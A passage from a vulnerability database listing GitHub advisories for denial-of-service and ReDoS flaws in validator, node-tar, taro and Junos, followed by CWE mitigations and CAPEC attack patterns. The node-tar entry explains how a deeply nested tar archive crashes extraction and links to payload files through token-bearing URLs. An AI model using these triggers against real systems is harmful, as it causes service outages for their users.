this advisory the supported security branch is **2.1.x**. The 2.0.x line (published 2026-04-15) is not receiving the Phase 1 safety-defaults infrastructure needed to carry the HIGH-severity fixes, so 2.0.x is deprecated in favor of 2.1.x. See `SECURITY.md` for the updated supported-versions table.\n\n## Credits\n\n- UmutKorkmaz (reporter and maintainer)\n\n## References\n\n- v2.1.1 CHANGELOG section: \u003chttps://github.com/UmutKorkmaz/meridian/blob/main/CHANGELOG.md#211---2026-04-16\u003e\n- `docs/security-model.md` threat model: \u003chttps://github.com/UmutKorkmaz/meridian/blob/main/docs/security-model.md\u003e\n- `SECURITY.md` disclosure policy: \u003chttps://github.com/UmutKorkmaz/meridian/blob/main/SECURITY.md\u003e\n- AutoMapper CVE-2026-32933 (motivating precedent for Meridian\u0027s safety-defaults)",
"id": "GHSA-f5v8-v6q3-q4h6",
"modified": "2026-04-16T22:50:37Z",
"published": "2026-04-16T22:50:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/UmutKorkmaz/meridian/security/advisories/GHSA-f5v8-v6q3-q4h6"
},
{
"type": "PACKAGE",
"url": "https://github.com/UmutKorkmaz/meridian"
},
{
"type": "WEB",
"url": "https://github.com/UmutKorkmaz/meridian/blob/main/CHANGELOG.md#211---2026-04-16"
},
{
"type": "WEB",
"url": "https://github.com/UmutKorkmaz/meridian/releases/tag/v2.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Meridian: Multiple defense-in-depth gaps (collection/depth caps, telemetry, retry, fan-out)"
}
GHSA-F5W6-R7RG-MCGQ
Vulnerability from github – Published: 2020-08-31 23:01 – Updated: 2021-09-23 21:03Versions of validator prior to 3.22.1 are affected by a regular expression denial of service vulnerability in the isURL method.
Recommendation
Update to version 3.22.1 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "validator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-8882"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2020-08-31T18:08:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Versions of `validator` prior to 3.22.1 are affected by a regular expression denial of service vulnerability in the `isURL` method.\n\n\n## Recommendation\n\nUpdate to version 3.22.1 or later.",
"id": "GHSA-f5w6-r7rg-mcgq",
"modified": "2021-09-23T21:03:25Z",
"published": "2020-08-31T23:01:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8882"
},
{
"type": "WEB",
"url": "https://github.com/chriso/validator.js/issues/152#issuecomment-48107184"
},
{
"type": "PACKAGE",
"url": "https://github.com/chriso/validator.js"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/npm:validator:20130705"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/42"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in validator"
}
GHSA-F5X3-32G6-XQ36
Vulnerability from github – Published: 2024-03-22 16:57 – Updated: 2024-06-10 18:30Description:
During some analysis today on npm's node-tar package I came across the folder creation process, Basicly if you provide node-tar with a path like this ./a/b/c/foo.txt it would create every folder and sub-folder here a, b and c until it reaches the last folder to create foo.txt, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside
Steps To Reproduce:
You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video
Proof Of Concept:
Here's a video show-casing the exploit:
Impact
Denial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources
Report resources
Note
This report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-28863"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-22T16:57:05Z",
"nvd_published_at": "2024-03-21T23:15:10Z",
"severity": "MODERATE"
},
"details": "## Description: \nDuring some analysis today on npm\u0027s `node-tar` package I came across the folder creation process, Basicly if you provide node-tar with a path like this `./a/b/c/foo.txt` it would create every folder and sub-folder here a, b and c until it reaches the last folder to create `foo.txt`, In-this case I noticed that there\u0027s no validation at all on the amount of folders being created, that said we\u0027re actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside\n\n## Steps To Reproduce:\nYou can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video\n\n## Proof Of Concept:\nHere\u0027s a [video](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/3i7uojw8s52psar6pg8zkdo4h9io?response-content-disposition=attachment%3B%20filename%3D%22tar-dos-poc.webm%22%3B%20filename%2A%3DUTF-8%27%27tar-dos-poc.webm\u0026response-content-type=video%2Fwebm\u0026X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request\u0026X-Amz-Date=20240312T080103Z\u0026X-Amz-Expires=3600\u0026X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D\u0026X-Amz-SignedHeaders=host\u0026X-Amz-Signature=1e8235d885f1d61529b7d6b23ea3a0780c300c91d86e925dd8310d5b661ddbe2) show-casing the exploit: \n\n## Impact\n\nDenial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources\n\n## Report resources\n[payload.txt](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/1e83ayb5dd3350fvj3gst0mqixwk?response-content-disposition=attachment%3B%20filename%3D%22payload.txt%22%3B%20filename%2A%3DUTF-8%27%27payload.txt\u0026response-content-type=text%2Fplain\u0026X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request\u0026X-Amz-Date=20240312T080103Z\u0026X-Amz-Expires=3600\u0026X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D\u0026X-Amz-SignedHeaders=host\u0026X-Amz-Signature=bad9fe731f05a63a950f99828125653a8c1254750fe0ca7be882e89ecdd449ae)\n[archeive.tar.gz](https://hackerone-us-west-2-production-attachments.s3.us-west-2.amazonaws.com/ymkuh4xnfdcf1soeyi7jc2x4yt2i?response-content-disposition=attachment%3B%20filename%3D%22archive.tar.gz%22%3B%20filename%2A%3DUTF-8%27%27archive.tar.gz\u0026response-content-type=application%2Fx-tar\u0026X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026X-Amz-Credential=ASIAQGK6FURQSWWGDXHA%2F20240312%2Fus-west-2%2Fs3%2Faws4_request\u0026X-Amz-Date=20240312T080103Z\u0026X-Amz-Expires=3600\u0026X-Amz-Security-Token=IQoJb3JpZ2luX2VjEDcaCXVzLXdlc3QtMiJHMEUCID3xYDc6emXVPOg8iVR5dVk0u3gguTPIDJ0OIE%2BKxj17AiEAi%2BGiay1gGMWhH%2F031fvMYnSsa8U7CnpZpxvFAYqNRwgqsQUIQBADGgwwMTM2MTkyNzQ4NDkiDAaj6OgUL3gg4hhLLCqOBUUrOgWSqaK%2FmxN6nKRvB4Who3LIyzswFKm9LV94GiSVFP3zXYA480voCmAHTg7eBL7%2BrYgV2RtXbhF4aCFMCN3qu7GeXkIdH7xwVMi9zXHkekviSKZ%2FsZtVVjn7RFqOCKhJl%2FCoiLQJuDuju%2FtfdTGZbEbGsPgKHoILYbRp81K51zeRL21okjsOehmypkZzq%2BoGrXIX0ynPOKujxw27uqdF4T%2BF9ynodq01vGgwgVBEjHojc4OKOfr1oW5b%2FtGVV59%2BOBVI1hqIKHRG0Ed4SWmp%2BLd1hazGuZPvp52szmegnOj5qr3ubppnKL242bX%2FuAnQKzKK0HpwolqXjsuEeFeM85lxhqHV%2B1BJqaqSHHDa0HUMLZistMRshRlntuchcFQCR6HBa2c8PSnhpVC31zMzvYMfKsI12h4HB6l%2FudrmNrvmH4LmNpi4dZFcio21DzKj%2FRjWmxjH7l8egDyG%2FIgPMY6Ls4IiN7aR1jijYTrBCgPUUHets3BFvqLzHtPFnG3B7%2FYRPnhCLu%2FgzvKN3F8l38KqeTNMHJaxkuhCvEjpFB2SJbi2QZqZZbLj3xASqXoogzbsyPp0Tzp0tH7EKDhPA7H6wwiZukXfFhhlYzP8on9fO2Ajz%2F%2BTDkDjbfWw4KNJ0cFeDsGrUspqQZb5TAKlUge7iOZEc2TZ5uagatSy9Mg08E4nImBSE5QUHDc7Daya1gyqrETMDZBBUHH2RFkGA9qMpEtNrtJ9G%2BPedz%2FpPY1hh9OCp9Pg1BrX97l3SfVzlAMRfNibhywq6qnE35rVnZi%2BEQ1UgBjs9jD%2FQrW49%2FaD0oUDojVeuFFryzRnQxDbKtYgonRcItTvLT5Y0xaK9P0u6H1197%2FMk3XxmjD9%2Fb%2BvBjqxAQWWkKiIxpC1oHEWK9Jt8UdJ39xszDBGpBqjB6Tvt5ePAXSyX8np%2FrBi%2BAPx06O0%2Ba7pU4NmH800EVXxxhgfj9nMw3CeoUIdxorVKtU2Mxw%2FLaAiPgxPS4rqkt65NF7eQYfegcSYDTm2Z%2BHPbz9HfCaVZ28Zqeko6sR%2F29ML4bguqVvHAM4mWPLNDXH33mjG%2BuzLi8e1BF7tNveg2X9G%2FRdcMkojwKYbu6xN3M6aX2alQg%3D%3D\u0026X-Amz-SignedHeaders=host\u0026X-Amz-Signature=5e2c0d4b4de40373ac0fe91908c2659141a6dd4ab850271cc26042a3885c82ea)\n\n## Note\nThis report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago",
"id": "GHSA-f5x3-32g6-xq36",
"modified": "2024-06-10T18:30:53Z",
"published": "2024-03-22T16:57:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-f5x3-32g6-xq36"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28863"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/fe8cd57da5686f8695415414bda49206a545f7f7"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240524-0005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service while parsing a tar file due to lack of folders count validation"
}
GHSA-F5XG-CFPJ-2MW6
Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2025-06-09 23:08A vulnerability was found in tarojs taro up to 4.1.1. It has been declared as problematic. This vulnerability affects unknown code of the file taro/packages/css-to-react-native/src/index.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. Upgrading to version 4.1.2 is able to address this issue. The name of the patch is c2e321a8b6fc873427c466c69f41ed0b5e8814bf. It is recommended to upgrade the affected component.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "taro-css-to-react-native"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-5896"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-09T23:08:45Z",
"nvd_published_at": "2025-06-09T21:15:47Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in tarojs taro up to 4.1.1. It has been declared as problematic. This vulnerability affects unknown code of the file taro/packages/css-to-react-native/src/index.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. Upgrading to version 4.1.2 is able to address this issue. The name of the patch is c2e321a8b6fc873427c466c69f41ed0b5e8814bf. It is recommended to upgrade the affected component.",
"id": "GHSA-f5xg-cfpj-2mw6",
"modified": "2025-06-09T23:08:45Z",
"published": "2025-06-09T21:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5896"
},
{
"type": "WEB",
"url": "https://github.com/NervJS/taro/pull/17619"
},
{
"type": "WEB",
"url": "https://github.com/NervJS/taro/commit/c2e321a8b6fc873427c466c69f41ed0b5e8814bf"
},
{
"type": "PACKAGE",
"url": "https://github.com/NervJS/taro"
},
{
"type": "WEB",
"url": "https://github.com/NervJS/taro/releases/tag/v4.1.2"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311668"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311668"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.585796"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "taro-css-to-react-native Regular Expression Denial of Service vulnerability"
}
GHSA-F5XQ-H855-6HMF
Vulnerability from github – Published: 2022-01-20 00:02 – Updated: 2023-07-24 15:30An Uncontrolled Resource Consumption vulnerability in the handling of IPv6 neighbor state change events in Juniper Networks Junos OS allows an adjacent attacker to cause a memory leak in the Flexible PIC Concentrator (FPC) of an ACX5448 router. The continuous flapping of an IPv6 neighbor with specific timing will cause the FPC to run out of resources, leading to a Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition, requiring a manual PFE restart to restore service. The following error messages will be seen after the FPC resources have been exhausted: fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 This issue only affects the ACX5448 router. No other products or platforms are affected by this vulnerability. This issue affects Juniper Networks Junos OS on ACX5448: 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R1-S8, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2.
{
"affected": [],
"aliases": [
"CVE-2022-22155"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-401"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-19T01:15:00Z",
"severity": "MODERATE"
},
"details": "An Uncontrolled Resource Consumption vulnerability in the handling of IPv6 neighbor state change events in Juniper Networks Junos OS allows an adjacent attacker to cause a memory leak in the Flexible PIC Concentrator (FPC) of an ACX5448 router. The continuous flapping of an IPv6 neighbor with specific timing will cause the FPC to run out of resources, leading to a Denial of Service (DoS) condition. Once the condition occurs, further packet processing will be impacted, creating a sustained Denial of Service (DoS) condition, requiring a manual PFE restart to restore service. The following error messages will be seen after the FPC resources have been exhausted: fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 fpc0 DNX_NH::dnx_nh_tag_ipv4_hw_install(),3135: dnx_nh_tag_ipv4_hw_install: BCM L3 Egress create object failed for NH 602 (-14:No resources for operation), BCM NH Params: unit:0 Port:41, L3_INTF:0 Flags: 0x40 This issue only affects the ACX5448 router. No other products or platforms are affected by this vulnerability. This issue affects Juniper Networks Junos OS on ACX5448: 18.4 versions prior to 18.4R3-S10; 19.1 versions prior to 19.1R3-S5; 19.2 versions prior to 19.2R1-S8, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S3, 19.4R2-S2, 19.4R3; 20.1 versions prior to 20.1R2; 20.2 versions prior to 20.2R1-S1, 20.2R2.",
"id": "GHSA-f5xq-h855-6hmf",
"modified": "2023-07-24T15:30:18Z",
"published": "2022-01-20T00:02:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22155"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/JSA11263"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.